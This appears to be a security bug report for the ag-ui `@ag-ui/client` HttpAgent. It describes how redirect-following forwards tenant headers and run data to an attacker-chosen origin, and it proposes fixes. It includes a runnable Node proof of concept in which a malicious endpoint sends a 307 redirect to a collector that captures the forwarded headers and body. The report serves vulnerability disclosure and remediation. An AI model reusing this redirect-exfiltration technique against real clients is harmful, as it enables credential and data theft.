ag-ui-protocol / ag-ui-protocol/ag-ui
[BUG]: `HttpAgent` follows redirects, forwarding credentials and the run request to a server-chosen origin
- 主要語言
- Python
- 星號
- 15.9k
- 分支
- 1.4k
- 平均合併
- 1 天 17 小時
- 30 天內合併 PR
- 163
描述
# `HttpAgent` follows redirects, forwarding credentials and the run request to a server-chosen origin
Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-601 (URL Redirection to Untrusted Site) / CWE-200
## Summary
`HttpAgent` builds its request init (`method`, `headers`, `body`, `signal`) without a `redirect` option, so `fetch` uses the default `redirect: "follow"`. A malicious or compromised agent endpoint can answer the run POST with a redirect whose `Location` the attacker chooses; the client then re-issues the request to that origin. Measured on Node 24 (undici): the re-POST reaches the attacker origin carrying the run-request envelope (`threadId`, `runId`, …) and forwards developer-supplied non-`Authorization` headers (`X-Tenant`, API keys); per the Fetch specification, browsers additionally preserve the full request body across 307/308 — including the complete conversation history, tool schemas, and resume payloads — and same-origin redirects forward everything. The attacker-chosen `Location` also makes this a client-side request-forgery primitive (internal endpoints receive a client-generated POST).
## Affected code
- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `HttpAgent.requestInit` — builds `{method, headers, body, signal}` with no `redirect` member; no origin-pinning of the credential-bearing transport
## Observed behavior (measured)
Evil agent answers `307 → http://127.0.0.1:`; collector receives:
| observation | result |
|---|---|
| POST arrived at attacker origin | yes |
| body length (run-request JSON: `threadId`, `runId`, …) | 167 bytes |
| `X-Tenant: acme` forwarded | yes |
| `Authorization` forwarded | no (stripped cross-origin per Fetch spec) |
| user `messages` content present in re-POST body (this Node/undici run) | no |
Full body preservation on 307/308 is the browser-specified behavior; the Node measurement above demonstrates the redirect-following and header forwarding, which are the SDK-level defect.
## Impact
A compromised or malicious agent endpoint exfiltrates the tenant's credentials and (in browsers, per spec) the full run body to an arbitrary origin, and can direct the client to POST a crafted body at internal URLs (client-side SSRF). Integrity/confidentiality impact beyond availability.
## Suggested remediation
- Pin `redirect: "manual"` (or `"error"`) in `requestInit` and surface redirect responses as errors.
- Never forward the body or auth headers across an origin change.
## PoC
Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` installed. Run `node poc_f26.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.
```js
// poc_f26.mjs — F-26: HttpAgent follows redirects with the credential-bearing
// run request. requestInit omits `redirect`, so fetch uses the default "follow".
// A malicious agent endpoint responds 307 → attacker collector; fetch re-issues
// the POST preserving method (+body). Developer auth headers in this.headers
// also forward. Confirmed if the collector receives the re-issued POST and/or a
// custom auth header. Authorization is stripped cross-origin by modern fetch
// (spec), but non-Authorization auth headers and the run body are not.
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';
const collected = { body: null, headers: {}, got: false };
const collector = http.createServer((req, res) => {
let b = '';
req.on('data', c => (b += c));
req.on('end', () => {
collected.body = b; collected.headers = req.headers; collected.got = true;
res.writeHead(200, { 'Content-Type': 'text/event-stream' });
res.end(); // empty stream → runAgent resolves
});
});
await new Promise(r => collector.listen(0, '127.0.0.1', r));
const cPort = collector.address().port;
const evil = http.createServer((req, res) => {
req.resume();
res.writeHead(307, { Location: `http://127.0.0.1:${cPort}/collect` });
res.end();
});
await new Promise(r => evil.listen(0, '127.0.0.1', r));
const ePort = evil.address().port;
const agent = new HttpAgent({
url: `http://127.0.0.1:${ePort}/`,
headers: { 'X-Tenant': 'acme', Authorization: 'Bearer secret-tenant-token' },
});
try {
await agent.runAgent({ messages: [{ role: 'user', content: 'the-launch-code-is-7331' }] });
} catch {}
const bodyHasSecret = collected.got && collected.body && collected.body.includes('7331');
const authForwarded = collected.headers['authorization'] === 'Bearer secret-tenant-token';
const tenantForwarded = collected.headers['x-tenant'] === 'acme';
// core finding: the credential-bearing POST was re-issued to the attacker URL
const ok = collected.got && (tenantForwarded || bodyHasSecret || authForwarded);
console.log(JSON.stringify({
finding: 'F-26-redirect-exfil-of-run-body',
collector_got_post: collected.got,
forwarded_body_length: collected.body ? collected.body.length : 0,
body_has_secret: bodyHasSecret,
authorization_header_forwarded: authForwarded,
x_tenant_header_forwarded: tenantForwarded,
confirmed: ok,
}, null, 2));
evil.close(); collector.close();
process.exit(ok ? 0 : 1);
```
貢獻指南
評估
這個 Issue 還沒有評估資料。